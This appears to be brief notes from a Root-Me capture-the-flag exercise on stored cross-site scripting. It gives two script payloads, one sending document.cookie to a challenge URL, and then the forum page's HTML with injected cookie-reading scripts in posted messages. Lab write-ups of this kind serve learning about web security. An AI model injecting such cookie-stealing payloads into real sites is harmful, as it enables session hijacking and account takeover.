XSS Stockée 1
<script>alert(document.write(src ="http://challenge01.root-me.org/web-client/ch18/index.php?cookie="+ document.cookie));</script>
<script>alert(document.write(document.cookie));</script>
index :
<html>
<head>
<title>Forum v0.001</title>
</head>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
<h1>Forum v0.001</h1>
<hr/>
<span style="text-align: right; float:right;">Status: visitor</span><br/>
<form action="" method="POST" >
<div>
Title:<br/>
<input type="text" name="titre" value="" />
</div><br/>
<div>
Message:<br/>
<textarea name="message" rows="3" cols="50"></textarea>
</div>
<div>
<input type="submit" value="send" />
</div>
</form><br/><br/>
<div>
<div>Posted messages:</div><br/>
<span><b>Welcome</b></span><br/>
<span>N'hésitez pas à me laisser un message / Feel free to leave a message</span><br/><hr/>
<span><b>cookies</b></span><br/><span><script>alert(document.write('cookie: ' + document.cookie));</script></span><br/><hr/>
<span><b>c</b></span><br/><span><script>alert(document.write('cookie: ' + document.cookie));</script></span><br/><hr/>
<span><b>Message read</b></span><br/><span>Vos messages ont bien été lus / Your messages have been read</span><br/><hr/>
</div>
</body>
</html>